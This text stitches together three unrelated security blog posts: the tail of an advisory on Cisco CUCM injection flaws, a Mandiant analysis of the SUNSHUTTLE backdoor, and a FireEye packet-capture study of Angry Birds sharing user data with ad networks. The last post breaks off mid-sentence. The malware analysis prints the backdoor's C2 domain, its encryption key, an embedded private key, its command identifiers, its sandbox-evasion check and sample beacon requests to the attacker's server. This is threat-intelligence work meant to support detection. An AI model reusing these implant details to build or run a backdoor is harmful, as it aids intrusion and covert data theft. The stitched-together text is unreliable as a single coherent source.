An attacker could hijack logged-in user sessions or deceive users to steal their credentials.
Furthermore, since the application allows for code execution, an attacker could use it as a foothold within the network from which to move laterally.
The Next Steps: Reducing the Risk of Compromise So, what should you do about it?
We recommend you install the latest patch for the Cisco Unified Communications Products from the Cisco security advisories.
The patches for both the CUCM and the CUCM IM & Presence are shown in the charts below.
Links to the advisories are located in the References section.
A continuous penetration testing program can also help discover and fix these types of vulnerabilities.
Learn more about X-Force Red’s penetration testing services here .
On July 21, 2021, X-Force Red will be hosting a virtual panel session about threats against and vulnerabilities exposing Internet of Things (IoT) devices.
The presenters will include IoT industry leaders such as the ioXt Alliance and Silicon Labs.
Register here References CUCM IM & Presence SQL injection vulnerability leads to arbitrary code execution: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-imp-inj-ereCOKjR CUCM IM & Presence SQL injection vulnerability leads to local file disclosure and path traversal vulnerabilities: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-imp-trav-inj-dM687ZD6 CUCM cross-site scripting vulnerability leads to attack on other appliance users: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-xss-Q4PZcNzJ https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-inf-disc-wCxZNjL2
Executive Summary In August 2020, a U.S.-based entity uploaded a new backdoor that we have named SUNSHUTTLE to a public malware repository.
SUNSHUTTLE is a second-stage backdoor written in GoLang that features some detection evasion capabilities.
Mandiant observed SUNSHUTTLE at a victim compromised by UNC2452, and have indications that it is linked to UNC2452, but we have not fully verified this connection.
Please see the Technical Annex for relevant MITRE ATT&CK techniques (T1027, T1027.002, T1059.003, T1071.001, T1105, T1140, T1573.001).
The activity discussed in this blog post is also detailed in a Microsoft blog post .
We thank the team at Microsoft and other partners for their great collaboration in tracking this actor.
Threat Detail
Mandiant Threat Intelligence discovered a new backdoor uploaded by a U.S.-based entity to a public malware repository in August 2020 that we have named SUNSHUTTLE.
SUNSHUTTLE is written in GO, and reads an embedded or local configuration file, communicates with a hard-coded command and control (C2) server over HTTPS, and supports commands including remotely uploading its configuration, file upload and download, and arbitrary command execution.
Notably, SUNSHUTTLE uses cookie headers to pass values to the C2, and if configured, can select referrers from a list of popular website URLs to help such network traffic “blend in.”
The SUNSHUTTLE backdoor file examined, “Lexicon.exe” (MD5: 9466c865f7498a35e4e1a8f48ef1dffd), was written in GoLang.
The file unpacks into MD5: 86e89349fefcbdd9d2c80ca30fa85511.
The infection vector for SUNSHUTTLE is not known.
It is most likely a second-stage backdoor dropped after an initial compromise.
The SUNSHUTTLE sample uses the actor-controlled server “reyweb[.
]com” for C2.
“Reyweb[.
]com” is registered anonymously via NameSilo, a domain provider who accepts bitcoin payment and has been used for C2 registration by state-sponsored APTs in the past, including Russia-nexus actors and Iran-nexus APTs
Mandiant observed SUNSHUTTLE at a victim compromised by UNC2452, and have indications that it is linked to UNC2452, but we have not fully verified this connection.
Please see FireEye’s resource center for background on UNC2452 and the SUNBURST campaign .
Outlook and Implications The new SUNSHUTTLE backdoor is a sophisticated second-stage backdoor that demonstrates straightforward but elegant detection evasion techniques via its “blend-in” traffic capabilities for C2 communications.
SUNSHUTTLE would function as second-stage backdoor in such a compromise for conducting network reconnaissance alongside other SUNBURST-related tools.
Technical Annex Mandiant Threat Intelligence discovered a sample of the SUNSHUTTLE backdoor uploaded to an online multi-Antivirus scan service.
SUNSHUTTLE is a backdoor, written in GO, that reads an embedded or local configuration file, communicates with its C2 server over HTTPS and supports commands including remotely updating its configuration, file upload and download, and arbitrary command execution.
Lexicon.exe (MD5: 9466c865f7498a35e4e1a8f48ef1dffd)
C2:
reyweb[.
]com UNAVAILABLE (MD5: 86e89349fefcbdd9d2c80ca30fa85511) Unpacked version of 9466c865f7498a35e4e1a8f48ef1dffd Infection Vector For the samples analyzed, the infection vector is not known.
Execution Execution Summary SUNSHUTTLE is a backdoor written in GoLang.
Once SUNSHUTTLE is executed, a high-level description of the execution is the following: Configuration settings determined Request a “session key” from the C2 Retrieve the “session key” from the C2
Once a session key is retrieved, SUNSHUTTLE begins command request beaconing loop Begin command request beaconing Resolve command and perform action The SUNSHUTTLE sample analyzed retains the names of the routines used by the malware, which include the following: main.request_session_key main.define_internal_settings main.send_file_part main.clean_file main.send_command_result main.retrieve_session_key main.save_internal_settings main.resolve_command main.write_file main.beaconing main.wget_file main.fileExists main.encrypt main.decrypt main.random main.removeBase64Padding main.addBase64Padding main.delete_empty main.
Unpad main.
GetMD5Hash main.
Pad Note: Throughout the SUNSHUTTLE backdoor, unique string identifiers are used to indicate the operation being performed to the C2 via a Cookie header, and unique string identifiers are also used to validate and parse response content from the C2.
These unique string values are thought to be unique and random per compiled sample.
Initial Execution Once executed, the SUNSHUTTLE backdoor enumerates the victim’s MAC address and compares it to a hardcoded MAC address value “c8:27:cc:c2:37:5a”.
If a match is found the backdoor exits.
The MAC address is likely a default MAC address for the Windows sandbox network adapter.
Figure 1:
Mac address check Configuration If the check is successful, the SUNSHUTTLE backdoor then enters a routine named “main_define_internal_settings”, which handles creation of the configuration file if one doesn’t already exist in the directory from which SUNSHUTTLE is running.
For the sample analyzed, the configuration filename is “config.dat.tmp”.
The configuration data is Base64 encoded and AES-256 encrypted using the following key:
hz8l2fnpvp71ujfy8rht6b0smouvp9k8 The configuration has the following example values when Base64 decoded and AES decrypted: 48b9e25491e088a35105274cae0b9e67|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2V ja28vMjAxMDAxMDEgRmlyZWZveC83NS4w The configuration holds several values delimited by a “|” character, which are briefly described as follows.
48b9e25491e088a35105274cae0b9e67 MD5 hash of the current timestamp calculated during execution.
5-15 Lower/upper limits used to randomly generate sleep times as SUNSHUTTLE executes 0 0 or 1 — Utilize “blend-in” traffic requests.
Internally called “false_requesting” 0
Activate execution timestamp (0 by default) — execution \"activates\" or continues if current time is greater than the value in the configuration TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja2 8vMjAxMDAxMDEgRmlyZWZveC83NS4w Base64-encoded User-agent used in HTTPS requests Decoded: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0 If set in the configuration, the “blend-in” traffic occurs as the malware executes and transitions through its routines.
The following URLs are leveraged for the “blend-in” requests: https://reyweb[.
]com/icon.ico https://reyweb[.
]com/icon.png https://reyweb[.
]com/script.js https://reyweb[.
]com/style.css https://reyweb[.
]com/css/style.css https://reyweb[.
]com/css/bootstrap.css https://reyweb[.
]com/scripts/jquery.js https://reyweb[.
]com/scripts/bootstrap.js https://cdn.mxpnl[.
]com/ https://cdn.google[.
]com/ https://cdn.jquery[.
]com/ https://code.jquery[.
]com/ https://cdn.cloudflare[.
]com/ Session Key Mechanism SUNSHUTTLE performs initial requests to the C2 in order to request and then retrieve what it internally refers to as a session key.
The retrieved session key from the C2 appears to be RSA decrypted using the following private key that is embedded in SUNSHUTTLE and believed to be unique per compiled sample.
Analysis is on-going on how the decrypted session key is used, but it is likely a session key used to encrypt content once SUNSHUTTLE transitions to its command-and-control routines.
-----BEGIN PRIVATE KEY-----
MIIEowIBAAKCAQEA0Aj/3K3m/rKNESwUfHC9qAhnsNYA9bJ4HQ30DPsfPDvbbHZm Uj5nyp2abjYZYMQbWa2+ZO4Ixgfdm0FzsAH/haKIN4sSkbw+YRESYW35MnMI3Adf mj/eK/yKNblyoe/7iWP3nz+y4Q/QI0L6BrF7VodTaDYtDup3iI+B5zjmhElf9Fmg S1JiDUgydz5VXJR/esv6hB7GMfEb/3sIAzv5qcwEvGK5HH1EzQ7zjauyhbsF9pHR zCFYlvW4OtaU0o3xjVufo5UwYRS5p/EFpof45zuJGLJ02cKUmxc0OX53t3Bn9WXY
aDDhYp/RPzywG8N9gTBv8rKxRIsFxxKu+8wK+QIDAQABAoIBAGe4hPDe13OXTBQK uTAN+dEkV6ZoHFRjpdU+lrY+IiWi5lSed4d7y73OdCeM23xOaiB9KpchwsgRNeDp cieH54EWNvoSYbC9fRBiNZrT/NG1Xu5s0rKSM1AU+kes7UVl5DBs4hHI7YOeobRi +UuLA6ZxlBk6IZ71MaGpgyfoS64aDMvZDtcaTEGzw6dRQAU9255DTIc2YYbq8MqL zSafD5eBDH3Izmblg0kXiidec1A1sytz5u8xW4XckHfp4xePLVw/RvLJGqNJMK5M 7tXAFwPzg+u4k7ce7uNw9VWW7n28T9xznUux1gtPQj1N6goDaBaOqY+h0ia9F1RP wu6ZtG0CgYEA8vCFmAGmMz4vjO04ELyPnvnaS6CReYCVzmvNugIDlxBLDGCnKBVx et7qEk3gMkbtcDUOZpXQAIVCWQNupAhI0t5bb/Pfw3HtH3Xt5NRUYmwxTgNRe06D i4ICsg2+8TDinjne9hzsEe9DYE2WRrtLMJ+IPD+QE94J3Sei03k1wpMCgYEA2zga Tff6jQeNn9G0ipHa1DvJmi98px51o0r7TUfZRxJfgg4ckyMsZUHKALrZszKAnxP7 MXYrJuOHpsp0EZc1e3uTjFzrKyKRTQ78c7MNGv07w1PlZuNLtkoqepUjkQzdxKZO g9gG0O4lC5jjnSg8jUSChhZn+jrU8Vx7ByOP98MCgYAWi5+6RZzo8IJ1L6aeVwF1 HXbWweX+QqKkb3i+JGW05Twxv96DZ8oKPxm17Sg7Qj3Sxfm6J3kQM02++QSRkHtB poUR1K4Vc0MwQj97lwDlyWih9sjfCqBGmCAr6f6oX4MIcBJzAKgf2faEv26MzeDi eEuqW7PBRD/iGEWSHpOQpQKBgQDRgV+aTjk0mRhfugHKQLSbCnyUj3eZG8IfiiR7 agQcKVH/sE7cy8u9Bc/xPKGb4dMMtQLm9WEuLFtTKr8cpJ8nYSXVCmRx9/pXY9Af
HuqSdZutBDwERYvxLhZEys2P7XTwYGQ/GrEA8eeTms1FP9QGyofXcAh1G86w0Mp/ Oxx3EwKBgHXxgQa4/ngTlMNhWP+IvHOlOVAxDK2GL3XQdr8fudZe9c1d7VzIbYj6 gbwLT9qi0wG5FAWqH163XucAirT6WCtAJ3tK0lfbS7oWJ7L/Vh1+vOe6jfS/nQna Ao2QPbN8RiltHeaAq0ZfrgwrQuP5fmigmBa5lOWID/eU2OLlvJGi -----END PRIVATE KEY---
After the configuration is created or read from, SUNSHUTTLE enters a routine named “main_request_session_key”.
The malware will iterate over this routine until it’s successful, sleeping a period of time after each iteration.
Inside the “main_request_session_key” routine, SUNSHUTTLE constructs an HTTPS request to its configured C2.
Upon an HTTP 200 response from the request, the response data from the C2 is expected to not contain the following string for the sample analyzed: ywQdjLuHHC The request_session_key routine returns a 1 if the string is not in the response and a -1 if it is in the response.
If the result of the request_session_key is 1, SUNSHUTTLE will execute the retrieve_session_key routine.
The retrieve_session_key routine again contacts the C2 and downloads content that is expected to be decrypted by the aforementioned embedded private key.
The decrypted content is likely a session key used to encrypt content once SUNSHUTTLE transitions to its command-and-control routines.
Commanding Once a session key is retrieved from the C2, SUNSHUTTLE begins the beaconing and “resolve_command” routines in a loop.
SUNSHUTTLE first issues a beacon to retrieve a command.
After, SUNSHUTTLE will enter the routine “resolve_command”, which parses the response content to determine which command should be run.
Available commands include remotely updating its configuration, file upload and download, and arbitrary command execution.
Figure 2:
Resolve command graph The content returned from the C2 after the “main_beaconing” routine is Base64 decoded and AES decrypted.
A check is performed to ensure the decrypted content doesn’t contain the following string: Cp5RTQ31R1 As noted, it is likely these strings are unique per sample and randomly generated at compilation.
The decrypted content is parsed for certain unique strings. Unique string in decrypted response Meaning zSsP2TSJJm3a Update sleep range — save config aQJmWJzXdYK721mGBI3U Update “false requesting” value – save config W5VYP9Iu2uyHK Update C2 URL and User-agent – save config 3487wD9t2OZkvqdwRpqPeE Send current timestamp to C2 ubFxROBRwfswVRWNjLC Update \"activation\" timestamp in the config — save config TMuhGdA9EHY Upload file to C2 if the file exists 1kG4NaRX83BCMgLo38Bjq Execute command – return “EXECED” if successful hB0upT6CUmdRaR2KVBvxrJ Execute command – return results/output N/A (other string criteria met) Provides terminal command execution N/A (other string criteria met) Download file from C2 Files Dropped After successful execution of the malware, it drops the following files to the victim’s system: <current_directory>\\config.dat.tmp (MD5: Dynamic)
Encrypted configuration file Persistence Method
The SUNSHUTTLE malware was not observed setting its own persistence.
It is likely the persistence is set outside of the execution of SUNSHUTTLE.
Network Communications SUNSHUTTLE uses the cookie header to pass values to the C2.
Additionally, a referrer is selected from the following list, presumably to make the traffic blend in if traffic is being decrypted for inspection: www.bing.com www.yahoo.com www.google.com www.facebook.com
The cookie headers vary slightly depending on the operation being performed.
The following is an example request to the C2 from the “request_session_key” routine.
Victim to C2 GET /assets/index.php HTTP/1.1 Host: reyweb[.
]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0 Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78 Referer: www.facebook.com Accept-Encoding: gzip Within the Cookie header, these values represent the following: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67 Timestamp MD5 contained within the configuration P5hCrabkKf=gZLXIeKI “P5hCrabkKf=” contains a unique string based on which routine is performing the request (see the following table).
iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx “i4zICToyI70Yeidf1f7rWjm5foKX2Usx” is hard coded within the SUNSHUTTLE backdoor.
It possibly represents a payload identifier b7XCoFSvs1YRW=78 Unknown purpose.
This value is only included in request_session_key and retrieve_session_key requests.
As mentioned, the cookie value “P5hCrabkKf=” contained in each request signifies the operation that is being performed.
“P5hCrabkKf=” Cookie Value Meaning gZLXIeK main_request_session_key do1KiqzhQ main_clean_file t5UITQ2PdFg5 main_wget_file cIHiqD5p4da6OeB main_retrieve_session_key xpjQVt3bJzWuv main_send_file_part S4rgG1WifHU
main_send_command_result
After successful installation / initialization of the malware, it proceeds to make the following callback to the C2 server reyweb[.
]com via TCP/443 HTTPS:
Victim to C2 GET /assets/index.php HTTP/1.1 Host: reyweb[.
]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0 Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78 Referer: www.facebook.com Accept-Encoding: gzip Victim to C2 GET /assets/index.php HTTP/1.1 Host: reyweb[.
]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0 Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78 Referer: www.yahoo.com Accept-Encoding: gzip Additionally, if the “fake_requesting” configuration value is set to 1, SUNSHUTTLE will generate traffic meant to blend in with real traffic.
Examples of those requests are as follows:
Victim to C2 GET /icon.png
HTTP/1.1 Host: reyweb[.
]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101
Firefox/75.0 Referer: www.google.com
Accept-Encoding: gzip Victim to C2 GET /css/style.css HTTP/1.1 Host: reyweb[.
]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101
Firefox/75.0 Referer: www.facebook.com Accept-Encoding: gzip Victim to C2 GET /css/bootstrap.css HTTP/1.1 Host: reyweb[.
]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101
Firefox/75.0 Referer: www.facebook.com Accept-Encoding: gzip Victim to Legitimate GET / HTTP/1.1 Host: cdn.cloudflare[.
]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101
Firefox/75.0 Referer: www.google.com
Accept-Encoding: gzip Appendix: MITRE ATT&CK Framework Technique Description T1027 Obfuscated Files or Information T1027.002 Software Packing T1059.003 Windows Command Shell T1071.001 Web Protocols T1105
Ingress Tool Transfer T1140 Deobfuscate/Decode Files or Information T1573.001 Symmetric Cryptography Appendix: Detecting the Techniques FireEye security solutions provide detection of the SUNSHUTTLE activity across email, endpoint and network levels.
The following is a snapshot of existing detections related to activity outlined in this blog post.
Platform(s) Detection Name Network Security Email Security Detection On Demand Malware File
Scanning Malware File Storage Scanning FE_APT_Backdoor_Win64_SUNSHUTTLE_1 FE_APT_Backdoor_Win_SUNSHUTTLE_1 APT.Backdoor.
Win.
SUNSHUTTLE APT.Backdoor.
Win.
SUNSHUTTLE.MVX Endpoint Security Malware Protection (AV/MG) Trojan.
GenericKD.34453763
Generic.mg.9466c865f7498a35
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Many popular mobile apps, including Rovio’s ubiquitous Angry Birds, collect and share players’ personal information much more widely than most people realize.
Some news reports have begun to scratch the surface of the situation.
The New York Times reported on Angry Birds and other data-hungry apps last October.
And in January, the newspaper teamed up with public-interest news site ProPublica and U.K. newspaper the Guardian for a series of stories detailing how government agencies use the game (and other mobile apps) to collect personal data.
Even the long-running CBS show 60 Minutes reported earlier this month that Rovio shares users’ locations .
The Android version of Angry Birds in the Google Play store, updated on March 4, continues to share personal information.
In fact, more than a quarter billion users who create Rovio accounts to save their game progress across multiple devices might be unwittingly sharing all kinds of information—age, gender, and more — with multiple parties.
And many more users who play the game without a Rovio account are sharing their device information without realizing it.
Once a Rovio account is created and personal information uploaded, the user can do little to stop this personal information sharing.
Their data might be in multiple locations: Angry Birds Cloud, Burstly (ad mediation platform), and third-party ad networks such as Jumptap and Millennial Media.
Users can avoid sharing personal data by playing Angry Birds without Rovio account, but that won’t stop the game from sharing device information.
In this blog post, we examine the personal information Angry Birds collects.
We also demonstrate the relationships between the app, the ad mediation platform, and the ad clouds — showing how the information flows among the three.
We also spell out the evidence, such as network packet capture (PCap) from FireEye Mobile Threat Prevention (MTP), to support our information flow chart.
Finally, we reveal how the multi-stage information sharing works by tracking the code paths from the reverse-engineered source code.
To investigate the mechanism and contents of the information sharing, we researched different versions of Angry Birds.
We found that multiple versions of the game can share personal information in clear text, including email, address, age, and gender.
Angry Birds’ data management service, “ad-x.co.uk,” shares information in the penultimate version of the game (V4.0.0), which was offered in the Google Play store through March 4.
And contrary to media reports that this data sharing occurred only on an older “special edition” of the game, we found that some  sharing occurs in multiple versions of Angry Birds — including the latest to the “classic” version, 4.1.0.
(This update as added to Google Play on March 4.)
With more than 2 billion downloads of Angry Birds so far, this sharing affects many, many devices.
What information is shared?
Angry Birds encourages players to create Rovio accounts, touting the following benefits: To save scores and in-game weapons To preserve game progress across multiple devicesThe second benefit is especially attractive to devoted Angry Birds players because it allows them to stop playing on one device and pick up where they left off on another.
Figure 1 shows the Rovio registration page.
[caption id=\"attachment_4889\" align=\"aligncenter\" width=\"546\"] Figure 1: Rovio’s registration page[/caption] Figure 2 shows birthday information collected during registration.
The end-use license agreement (EULA) and privacy policy grant Rovio rights to upload the collected information to third-party entities for marketing.
[caption id=\"attachment_4894\" align=\"aligncenter\" width=\"546\"] Figure 2:
The registration of the Rovio account includes personal information and EULA.
[/caption]
In Figure 3, the registration page asks for the user’s email address and gender.
When the player clicks the register button, Rovio uploads the collected data to the Angry Birds Cloud to create a player profile.
[caption id=\"attachment_4897\"
align=\"aligncenter\" width=\"546\"] Figure 3: Rovio asks for email and gender information during registration.
[/caption] Figure 4 shows another way Angry Birds collects personal information.
Rovio offers a newsletter to update Angry Birds players with new games, episodes, and special offers.
During newsletter signup, Rovio collects the player’s first and last name, email address, date of birth, country of residence, and gender.
This information is aggregated with the user’s Rovio account profile by matching the player’s email address.
[caption id=\"attachment_4899\" align=\"aligncenter\" width=\"546\"] Figure 4:
Newsletter registration page requesting more personal information[/caption] [caption id=\"attachment_5017\" align=\"alignnone\" width=\"549\"]
Figure 5:
Information flow among Angry Birds, the ad intermediate platform and the ad cloud[/caption] First, we are concerned with the type of information transmitted to the advertisement library.
Figure 5 illustrates the information flow among Angry Birds, the Angry Birds Cloud, Burstly (the embedded ad library and ad mediation platform), and cloud-based ad services such as Jumptap and Millennial Media.
Angry Birds uses Burstly as an ad adapter, which provides integration with numerous third-party ad clouds including Jumptap and Millennial Media.
The ad services use players’ personal data to target ads.
As the figure shows, Angry Birds maintains an HTTP connection with the advertising platform Burstly, the advertisement provider Millennial Media, and more.
Traffic flow Table 1 summarizes the connections, which we explain in detail below.
PCap Burstly (Ad Mediation Platform)
Third Party Ad Clouds 1 1 POST (personal information, IP) POST (personal information, IP) 2 2 GET Ad from Jumptap GET Ad from Jumptap 3 3 GET Ad from Turn.com GET Ad from Turn.com Table 1:
PCap information exchanged between Angry Birds, Burstly and third-party ad clouds Angry Birds uses native code called libAngryBird.so to access storage and help the ad libraries store logs, caches, database, configuration files, and AES-encrypted game data.
For users with a Rovio account, this data includes the user's personal information in clear text or easily decrypted formats.
For example, some information is stored in clear text in the web view cache called webviewCacheChromium: {\"accountId\":\"AC3XXX...XXXA62B\",\"accountExtRef\":\"hE...fDc\",\"personal\":{\"firstName\":null,\"lastName\":null, \"birthday\":\"19XXXXX-01\", \"age\":\"30\", \"gender\":\"FEMALE\", \"country\":\"United States\" , \"countryCode\":\"US\" , \"marketingConsent\":false, \"avatarId\":\"AVXXX...
XXX2c\",\"imageAssets\":[...], \"nickName\":null}, \"abid\":{ \"email\":\"eXXX...XXXe@XXX.XXX\" , \"isConfirmed\":false}, \"phoneNumber\":null, \"facebook\":{\"facebookId\":\"\",\"email\":\"\"},\"socialNetworks\":[]} The device is given a universal id 1XXXX8, which is stored in the webviewCookiesChromium database in clear text: cu 1XXXX8 |{\"name\":\"cu 1XXXX8 \",\"value\":\"3%2XXX...XXX6+PM\"}|13XXX...
XXX1 The id \"1XXXX8\" labels the personal information when uploaded by the ad mediation platform.
Then the information is passed to ad clouds.
1.
The initial traffic captures in the PCap shows what kind of information Angry Birds uploads to Burstly: HTTP/1.1 200 OK Cache-Control:
private Date: Thu, 06 Mar 2014 XX:
XX:
XX GMT Server: Microsoft-IIS/7.5 ServerName: P-ADS-OR-WEBC #22 X-AspNet-Version: 4.0.30319 X-Powered-
By: ASP.NET X-ReqTime: 0 Content-Length: 0
Connection: keep-alive POST /Services/PubAd.svc/GetSingleAdPlacement HTTP/1.1 Content-type: text/json; charset=utf-8 User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; Ascend Y300
Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko)
Version/4.0
Mobile Safari/534.30 Content-Length: 1690
Host: neptune.appads.com Connection: Keep-Alive {\"data\":{\"Id\":\"8XXX5\",\"acceptLanguage\":\"en\",\"adPool\":0,\"androidId\":\"u1XXX...XXXug\",\"bundleId\": \"com.rovio.angrybirds\",…,\"cookie\":[{\"name\":\"cu 1XXX8 \",\"value\":\"3XXX6+PM\"},{\"name\":\"vw\",\"value\":\"ref=1XXX2&dgi=,eL,default,GFW\"},{\"name\":\"lc\",\"value\":\"1XXX8\"},{\"name\":\"iuXXXg\",\"value\":\"x\"},{\"name\":\"cuXXX8\",\"value\":\"3%2XXXPM\"},{\"name\":\"fXXXg\",\"value\":\"ref=1XXX712&crXXX8=2,1&crXXX8=,1\"}], \"crParms\":\"age=30 ,androidstore='com.android.vending', customer='googleplay', gender='FEMALE' , version='4.1.0'\", \"debugFlags\":0, \"deviceId\":\"aXXX...XXXd\" , \"encDevId\":\"xXXX....
XXXs=\", \"encMAC\":\"iXXX...
XXXg=\", \"ipAddress\":\"\", \"mac\":\"1XXX...XXX9\" , \"noTrack\":0,\"placement\":\"\", \"pubTargeting\":\" age=30 , androidstore='com.android.vending', customer='googleplay', gender='FEMALE' , version='4.1.0'\",\"rvCR\":\"\", \"type\":\"iq\",\"userAgentInfo\":{\"Build\":\"1.35.0.50370\", \"BuildID\":\"323\", \"Carrier\":\"\",\"Density\":\"High\", \"Device\": \"AscendY300\" , \"DeviceFamily\": \"Huawei\" , \"MCC\":\"0\",\"MNC\":\"0\",...
We can see the information transmitted to neptune.appads.com includes gender, age, android id, device id, mac address, device type, etc.
In another PCap in which Angry Birds sends POST to the same host name, the IP address is transmitted too: HTTP/1.1 200 OK … POST /Services/v1/SdkConfiguration/Get HTTP/1.1 … Host: neptune.appads.com ...
IpAddress\":\"fXXX...XXX9%eth0\" ,...
According to whois records , the registrant organization of neptune.appads.com is Burstly, Inc.
Therefore, the aforementioned information is actually transmitted to Burstly.
It Both PCaps contain the keyword “crParms.”
This keyword is also used in the source code to put personal information into a map sent as a payload.
Skyrocket.com is an app monetization service provided by Burstly .
The following PCap shows that Angry Birds retrieves the customer ID from Skyrocket.com through an HTTP GET request: HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html
Date: Thu, 06 Mar 2014 07:12:25
GMT Server: Microsoft-IIS/7.5 ServerName: P-ADS-OR-WEBA #5 X-AspNet-Version: 4.0.30319 X-Powered-
By: ASP.NET X-ReqTime: 2 X-Stats: geo-0 Content-Length: 9606
Connection: keep-alive GET /7…
.4/ad/image/1...
c.jpg HTTP/1.1 User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.2; en-us;
Ascend Y300
Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko)
Version/4.0
Mobile Safari/534.30 Host: cdn.skyrocketapp.com
Connection: Keep-Alive {\"type\":\"ip\",\"Id\":\"9XXX8\",...
\"data\":[{\"imageUrl\":\"http://cdn.skyrocketapp.com/79...
2c.jpg\",\"adType\":{\"width\":300, \"height\":250, \"extendedProperty\":80}, \"dataType\": 64, \"textAdType\":0,\"destType\":1,\"destParms\":\"\",\"cookie\":[{\"name\":\"fXXXg\", \"value\": \"ref=1XXX2&cr 1XXX8 =2,1&cr1XXX8=1&aoXXX8=\", \"path\":\"/\", \"domain\": \"neptune.appads.com\", \"expires\":\"Sat, 05 Apr 2014 XXX GMT\", \"maxage\": 2…0}, {\"name\":\"vw\",\"value\":\"ref=1XXX2&...},...,\"cbi\":\"http://bs.serving-sys.com/
Burstin...25&rtu=-1\",\"cbia\":[\"http://bs….\":1,\"expires\":60},...
\"color\":{\"bg\":\"0…0\"}, \"isInterstitial\":1} 2.
In this PCap, the ad is fetched by including the customer id 1XXX8 into the HTTP POST request to jumptap.com, i.e.
Millennial Media: HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html Date: Thu, XX Mar 2014 XX:XX:
XX GMT Server: Microsoft-IIS/7.5 ServerName: P-ADS-OR-WEBC #17 X-AspNet-Version: 4.0.30319 X-Powered-
By: ASP.NET X-ReqTime: 475 X-Stats: geo-0;rcf88626-255;rcf75152-218 Content-Length: 2537
Connection: keep-alive GET /img/1547/1XXX2.jpg
HTTP/1.1 Host: i.jumptap.com Connection: keep-alive Referer: http://bar/ X-Requested-With: com.rovio.angrybirds User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; Ascend Y300
Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko)
Version/4.0
Mobile Safari/534.30 Accept-Encoding: gzip,deflate Accept-Language: en-US Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7 {\"type\":\"ip\",\"Id\":\"8XXX5\",\"width\":320,\"height\":50,\"cookie\":[],\"data\":[{\"data\":\"<!-- AdPlacement : banner_ingame_burstly…\",\"adType\":{\"width\":320, \"height\":50, \"extendedProperty\":2064 },\"dataType\":1, \"textAdType\":0, \"destType\":10, \"destParms\":\"\", \"cookie\":[{\"name\":\"...\", \"value\":\"ref=...&cr 1XXX8 =4,1&cr1XXX8=2,1\", \"path\":\"/\", \"domain\":\"neptune.appads.com\", \"expires\":\"Sat, 0X Apr 2014 0X:XX:
XX GMT\", \"maxage\":2XXX0}, {\"name\":\"vw\",..., \"crid\":7XXX2, \"aoid\":3XXX3, \"iTrkData\":\"...\", \"clkData\":\"...\",\"feedName\":\"Nexage\"}]} In this pcap, the advertisement is retrieved from jumptap.com.
We can use the same customer i
d “1XXXX8” to easily track the PCap of different ad libraries.
3.
For example, in another PCap from turn.com, customer id remains the same: HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html
Date: Thu, 06 Mar 2014 07:30:54
GMT Server: Microsoft-IIS/7.5 ServerName: P-ADS-OR-WEBB #6 X-AspNet-Version: 4.0.30319 X-Powered-
By: ASP.NET X-ReqTime: 273 X-Stats: geo-0;rcf88626-272 Content-Length: 4714 Connection: keep-alive GET /server/
ads.js?pub=24… PvctPFq&acp=0.51 HTTP/1.1 Host: ad.turn.com
Connection: keep-alive Referer: http://bar/ Accept: */* X-Requested-With: com.rovio.angrybirds User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; Ascend Y300
Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko)
Version/4.0
Mobile Safari/534.30 Accept-Encoding: gzip,deflate Accept-Language: en-US Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7 {\"type\":\"ip\",\"Id\":\"0...
b\",\"width\":320,\"height\":50,\"cookie\":[],\"data\":[{\"data\":\"<!-- AdPlacement : banner_ingame_burstly --> \\\"http://burstly.ads.nexage.com:80...\" destParms\":\"\", \"cookie\":[{\"name\":\"f...g\", \"value\":\"ref=1...
0&cr 1XXXX8 =k,1&cr...
8=i, 1\",\"path\":\"/\", \"domain\":\"neptune.appads.com\", \"expires\":\"Sat, 0X Apr 2014 0X:XX:
XX How is the personal information shared?
We also researched the source code of the Burstly (ad mediation platform) to trace the method calls for the information sharing.
